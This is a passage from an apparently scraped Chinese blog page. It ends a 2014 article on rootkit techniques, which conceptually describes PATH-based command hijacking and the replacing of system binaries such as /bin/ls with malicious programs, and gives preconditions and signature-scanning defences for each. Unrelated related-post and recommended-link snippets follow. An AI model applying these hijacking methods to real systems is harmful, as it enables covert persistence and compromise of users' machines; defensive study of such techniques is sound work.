aaarticlea/png;base64,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" alt="" />
如果黑客能够在其中的搜索列表中的尽量靠前的地方(越靠前越好)放置同名("同名"是指令劫持的关键前提)的指令程序(例如ll),当用户输入ll命令时,实际执行的就是黑客防止的恶意程序,从而达到基于PATH劫持的指令劫持的目的
攻击前提
. 黑客拥有指定目录的写权限
防御策略
. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描
0x2: Ring3 Program Hijaking Based On Replacing Original Programe
早期的黑客使用的rootkit常用的做法是直接将/bin/ls、/bin/ll等可执行文件替换为同名的恶意程序(本质思想上和基于PATH劫持的指令劫持的思想差不多)
攻击前提
. 黑客拥有系统关键目录(/bin、/sbin等目录的写权限),一般是拿到root权限的
防御策略
. 基于恶意软件、木马、后门软件的指纹库的定时全盘扫描
Copyright (c) 2014 LittleHann All rights reserved
Rootkit Hacking Technology && Defence Strategy Research的更多相关文章
- Linux Rootkit Sample && Rootkit Defenser Analysis
目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...
- 黑客讲述渗透Hacking Team全过程(详细解说)
近期,黑客Phineas Fisher在pastebin.com上讲述了入侵Hacking Team的过程,以下为其讲述的原文情况,文中附带有相关文档.工具及网站的链接,请在安全环境下进行打开,并合理 ...
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Day 4 @ RSA Conference Asia Pacific & Japan 2016
09.00 – 09.45 hrs Advanced Malware and the Cloud: The New Concept of 'Attack Fan-out' Krishna Naraya ...
- 小样本学习最新综述 A Survey on Few-shot Learning | Introduction and Overview
目录 01 Introduction Bridging this gap between AI and humans is an important direction. FSL can also h ...
- Java中实现SAX解析xml文件到MySQL数据库
大致步骤: 1.Java bean 2.DBHelper.java 3.重写DefaultHandler中的方法:MyHander.java 4.循环写数据库:SAXParserDemo.java ① ...
- 2013 Asia Regional Changchun C
Little Tiger vs. Deep Monkey Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65535/65535 K ( ...
- 2016 Multi-University Training Contest 1 G. Rigid Frameworks
Rigid Frameworks Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others) ...
- TIMIT语音库
TIMIT语音库有着准确的音素标注,因此可以应用于语音分割性能评价,同时该数据库又含有几百个说话人语音,所以也是评价说话人识别常用的权威语音库,但该语音库的商业用途是要花钱买的.下面的资源来自与MIT ...
随机推荐
- .Net 项目代码风格要求小结
代码风格没有正确与否,重要的是整齐划一,这是我拟的一份<.Net 项目代码风格要求>,供大家参考. 1. C# 代码风格要求1.1注释 类型.属性.事件.方法.方法参数,根据需要添加注释. ...
- 七种css方式让一个容器水平垂直居中
阅读目录 方法一:position加margin 方法二: diaplay:table-cell 方法三:position加 transform 方法四:flex;align-items: cente ...
- Android开发探秘之一:创建可以点击的Button
感觉到自己有必要学习下手机开发方面的知识,不论是为了以后的工作需求还是目前的公司项目. 当然,任何新东西的开始,必然伴随着第一个HelloWorld,Android学习也不例外.既然才开始,我就不做过 ...
- GEOS库学习之五:与GDAL/OGR结合使用
要学习GEOS库,肯定绕不开地理方面的东西.如果需要判断的两个多边形或几何图形,不是自己创建的,而是来自shapefile文件,那就得将GEOS库和GDAL/OGR库结合使用了.实际上只需要OGR就行 ...
- Ant 执行 YUICompressor
Ant 执行 YUICompressor 任务压缩 JavaScript 和 CSS 文件,解决中文乱码问题,增加源文件字符编码集设定 标签: javascriptantcss任务encodingnu ...
- ios 定位 航向检测
// ViewController.m // CoreLocation框架的基本使用—定位 // 注意 点: 1.设置地位可用 2. 设置允许本程序定位(对弹出的框,允许即可) 3. 为模拟器 设置位 ...
- [CareerCup] 8.6 Jigsaw Puzzle 拼图游戏
8.6 Implement a jigsaw puzzle. Design the data structures and explain an algorithm to solve the puzz ...
- Linux内核分析——第八周学习笔记20135308
第八周 进程的切换和系统的一般执行过程 一.进程切换的关键代码switch_to分析 1.进程调度与进程调度的时机分析 (1)进程分类 第一种分类 I/O-bound:等待I/O CPU-bound: ...
- 7.HBase In Action 第一章-HBase简介(1.2.1 典型的网络搜索问题:Bigtable的起原)
Search is the act of locating information you care about: for example, searching for pages in a text ...
- C#基础之垃圾回收
1.托管资源的回收 我们都知道C#托管资源的回收由GC全权负责控制,可是什么时候GC会回收垃圾呢?一般出现以下情况会回收垃圾:手动调用GC.Collect()强制回收:第0代对象内存已满:应用程序域被 ...